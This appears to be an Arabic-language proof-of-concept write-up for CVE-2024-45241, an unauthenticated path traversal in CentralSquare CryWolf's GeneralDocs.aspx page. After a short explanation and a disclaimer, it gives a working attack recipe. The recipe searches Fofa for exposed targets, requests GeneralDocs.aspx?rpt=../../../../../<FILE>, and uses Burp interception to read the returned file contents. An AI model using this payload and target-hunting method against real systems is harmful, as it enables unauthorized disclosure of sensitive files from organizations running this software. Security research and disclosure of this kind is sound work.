
استغلال إثبات المفهوم لـ CVE-2024-45241، وهي ثغرة اجتياز المسار في CentralSquare CryWolf. يوضح كشف الملفات غير المصادق عبر معلمة rpt في GeneralDocs.aspx.
معرّف CVE: CVE-2024-45241
المنتج: CentralSquare CryWolf (إدارة الإنذارات الكاذبة)
المكوّن المتأثر: GeneralDocs.aspx
نوع الثغرة: اجتياز المسار (Path Traversal)
تاريخ الاكتشاف: 2024-08-09
تم تحديد ثغرة اجتياز مسار في المكوّن GeneralDocs.aspx من نظام CentralSquare CryWolf، وهو نظام لإدارة الإنذارات الكاذبة. تسمح هذه الثغرة للمهاجمين غير المصادق عليهم باستغلال معامل rpt للوصول إلى ملفات خارج دليل الويب المقصود. وقد يؤدي ذلك إلى الكشف عن معلومات حساسة.
اقرأ عنها — CVE-2024-45241
إخلاء مسؤولية: هذا الدليل المفاهيمي (POC) مُعدّ لأغراض تعليمية واختبار أخلاقي فقط. استخدام هذه الأداة لمهاجمة أهداف دون موافقة مسبقة متبادلة يعد غير قانوني. تقع على عاتق المستخدم النهائي مسؤولية الامتثال لجميع القوانين المحلية والولائية والاتحادية المعمول بها. لا يتحمل المطورون أي مسؤولية ولا يتحملون مسؤولية أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.
تحدث ثغرات اجتياز المسار عندما يسمح التطبيق للمستخدمين بالتلاعب بمسارات الملفات بطريقة تتيح لهم الوصول إلى الملفات والأدلة خارج الدليل المقصود. غالبًا ما يتم تحقيق ذلك باستخدام تسلسلات مثل ../ (dot-dot-slash) لاجتياز الأدلة.
في هذه الحالة، المكوّن المتأثر هو GeneralDocs.aspx. يبدو أن صفحة ASP.NET هذه تتعامل مع طلبات المستندات أو إنشائها بناءً على معاملات يقدمها المستخدم.
يُستخدم معامل rpt لتحديد المستند أو التقرير الذي ينبغي معالجته أو استرجاعه. تنشأ الثغرة لأن هذا المعامل لا يتم تعقيمه أو التحقق منه بشكل صحيح، مما يسمح للمهاجمين بالتلاعب به لاجتياز الأدلة.
للعثور على أهداف محتملة، استخدم Fofa (مشابه لـ Shodan.io):

شغّل Burp وابدأ اعتراض الحركة.
اكتب في شريط البحث:
<TARGET_URL>/GeneralDocs.aspx?rpt=../../../../../<FILE>

الآن سترى الطلب الأصلي لـ <TARGET_URL>/GeneralDocs.aspx?rpt=../../../../../ ثم اضغط forward:

استمر بالضغط على forward حتى ترى هذه الرسالة (طلب GET إلى gdoc1.ashx):

الآن انقر بزر الفأرة الأيمن واختر "Do intercept" --> "Response to this request" ثم اضغط forward.

يمكنك رؤية الاستجابة ومحتوى الملف!
